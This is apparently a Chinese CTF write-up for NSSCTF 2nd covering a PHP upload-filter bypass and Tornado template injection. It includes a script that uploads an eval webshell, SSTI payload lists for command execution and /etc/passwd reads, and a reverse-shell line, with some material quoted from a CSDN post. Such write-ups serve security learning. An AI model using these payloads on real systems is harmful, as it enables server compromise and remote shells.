NSSCTF 2nd复现 
这次比赛出现了不少的问题,比如权限设置的问题。比赛的时候又脑子坏了,想的太复杂,最后导致只做出了两道web两道misc,需要深刻检讨。最近是不是状态不对
 
1.php签到 
这题想的太复杂了,基础的签到都做不出来
 
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function  waf ($filename     $black_list  = array ("ph" , "htaccess" , "ini" );     $ext  = pathinfo ($filename , PATHINFO_EXTENSION);     foreach  ($black_list  as  $value ) {         if  (stristr ($ext , $value )){             return  false ;   }     }     return  true ; } if (isset ($_FILES ['file' ])){    $filename  = urldecode ($_FILES ['file' ]['name' ]);     $content  = file_get_contents ($_FILES ['file' ]['tmp_name' ]);     if (waf ($filename )){         file_put_contents ($filename , $content );     } else  {         echo  "Please re-upload" ;     } } else {     highlight_file (__FILE__ ); } 
一个简单的上传文件的服务,使用了waf过滤了ph,htaccess,ini函数。
stristr函数对于大小写不敏感,无法使用大小写绕过。
虽然是阿帕奇的中间件,但是并没有相关的后缀解析漏洞
注意到
1 $filename = urldecode($_FILES['file']['name']); 
对传入的文件名字进行了一次url解密
在判断文件后缀的时候,使用了pathinfo()函数
pathinfo函数 以数组的形式返回文件路径的信息
1 2 3 PATHINFO_DIRNAME - 只返回 dirname PATHINFO_BASENAME - 只返回 basename PATHINFO_EXTENSION - 只返回 extension 
1 2 3 4 5 <?php $name ="1.php" ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo  $a ;?> 
有一个重要的特性是
当出现多个 . 时,结果为最后一个 . 后面的内容
1 2 3 4 5 <?php $name ="1.php.txt" ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo  $a ;?> 
 获取不包含后缀的文件名时,获取的是最后一个/ 和最后一个. 中间的部分
假设我们这样,就可以让他无法读取到后缀
1 2 3 4 5 <?php $name ="1.php/." ;$a =pathinfo ($name , PATHINFO_EXTENSION);echo  $a ;?> 
对于file_put_content()函数
无论传入的文件名字是1.php还是1.php/.
都会被解析成1.php
所以只要上传一个1.php/.就可以了
1 2 3 4 5 6 import  requestsurl = 'http://node5.anna.nssctf.cn:28998/'  shell = "<?php eval($_POST['shell']);?>"  file = {'file' : ('l.php/.' ,shell)} res = requests.post(url=url, files=file) print (res.status_code)
windows下不支持/成文件名的一部分,无所谓可以url编码
得到flag
2.二周年快乐 
快乐牛魔
 
又是一道脑洞题,环境提供的是网页版本的win12,看到两个hint
一个是让我curl一个什么东西,一个是叫我访问nss的flag路由
这里直接使用靶机本地的命令行curl 一下那个flag路由,然后邮箱就会收到flag
没啥意义不细说(活挺花)
3.mybox 给了一个url可以输入内容,直接尝试用file协议读取flag
读取到flag在/nevvvvvver_f1nd_m3
直接就可以得到flag
真正的签到
 
4.MyHurricane 上来给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import  tornado.ioloopimport  tornado.webimport  osBASE_DIR = os.path.dirname(__file__) def  waf (data ):    bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ]     for  c in  bl:         if  c in  data:             return  False      for  chunk in  data.split():         for  c in  chunk:             if  not  (31  < ord (c) < 128 ):                 return  False      return  True  class  IndexHandler (tornado.web.RequestHandler):    def  get (self ):         with  open (__file__, 'r' ) as  f:             self.finish(f.read())     def  post (self ):         data = self.get_argument("ssti" )         if  waf(data):             with  open ('1.html' , 'w' ) as  f:                 f.write(f"""<html>                          <head></head>                         <body style="font-size: 30px;">{data} </body></html>                         """ )                f.flush()             self.render('1.html' )         else :             self.finish('no no no' ) if  __name__ == "__main__" :    app = tornado.web.Application([             (r"/" , IndexHandler),         ], compiled_template_cache=False )     app.listen(827 )     tornado.ioloop.IOLoop.current().start() 
tornado模板注入 
第一次遇到,小孩子不会学者玩的
 
1.模板语法 使用一些标记把python的控制序列和表达式嵌入HTML(或者文本格式里面)
支持{ { } }和{ % % },用法和jinja2有些类似,控制语句必须使用extends结尾
支持模板继承,可以使用extends和block标签声明
表达式可以是任意的Python表达式, 包括函数调用. 模板代码会在包含以下对象 和函数的命名空间中执行 (注意这个列表适用于使用 RequestHandler.render 和 render_string 渲染模板的情况. 如果你直接在 RequestHandler 之外使用 tornado.template 模块, 下面这些很多都不存 在).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 escape: tornado.escape.xhtml_escape 的别名 xhtml_escape: tornado.escape.xhtml_escape 的别名 两者可以转义相关的字符,使得他在xml或者html里面有效 url_escape: tornado.escape.url_escape 的别名 url编码 json_encode: tornado.escape.json_encode 的别名 对python对象编码 squeeze: tornado.escape.squeeze 的别名 使用空格替换所有的空格字符=》re.sub(r"[\x00-\x20]+", " ", value).strip() linkify: tornado.escape.linkify 的别名 datetime: Python datetime 模块 handler: 当前的 RequestHandler 对象 handler是一个class,也可以调用init方法 {{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123 {{handler.cookies}}  //返回cookie值 {{handler.get_cookie("data")}}  //返回cookie中data的值 {{handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码 {{handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123 {{handler.settings}}  //比如传入application.settings中的值 可以获取被ban的字符 —————————————————————————————————————————————————————————————————————————— request: handler.request 的别名 {{request.method}}  //返回请求方法名  GET|POST|PUT... {{request.query}}  //传入?a=123 则返回a=123 {{request.arguments}}   //返回所有参数组成的字典 {{request.cookies}}   //同{{handler.cookies}} ———————————————————————————————————————————————————————————————————————— 版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/miuzzx/article/details/123329244 current_user: handler.current_user 的别名 locale: handler.locale 的别名 _: handler.locale.translate 的别名 static_url: handler.static_url 的别名 xsrf_form_html: handler.xsrf_form_html 的别名 reverse_url: Application.reverse_url 的别名 所有从 ui_methods 和 ui_modules Application 设置的条目 任何传递给 render 或 render_string 的关键字参数 
2.简单的利用 使用extends和include去继承模板
可以利用这个文件读
1 2 3 {% extends "/etc/passwd"%} {% include "/etc/passwd"%} 也可以把"去掉,这里就有这一个非预期 
可以使用import去引入相关的模块和包
在这里就可以执行任意命令
比如引入os然后popen(‘ls’).read()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用) {{eval(handler.get_argument(request.method))}} 然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理 2、过滤了括号未过滤引号 {% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}} 3、过滤括号及引号 下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢? 是因为eval不支持多行语句。 __import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a""" 4、其他 {{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}} {{handler.application.default_router.named_rules['345'].target('/readflag').read()}} 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1、读文件 {% extends "/etc/passwd" %} {% include "/etc/passwd" %} 2、 直接使用函数 {{__import__("os").popen("ls").read()}} {{eval('__import__("os").popen("ls").read()')}} 3、导入库 {% import os %}{{os.popen("ls").read()}} 4、flask中的payload大部分也通用 {{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}} {{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类 第二个中的x为有__builtins__的class 5、利用tornado特有的对象或者方法 {{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}} 6、利用tornado模板中的代码注入 {% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}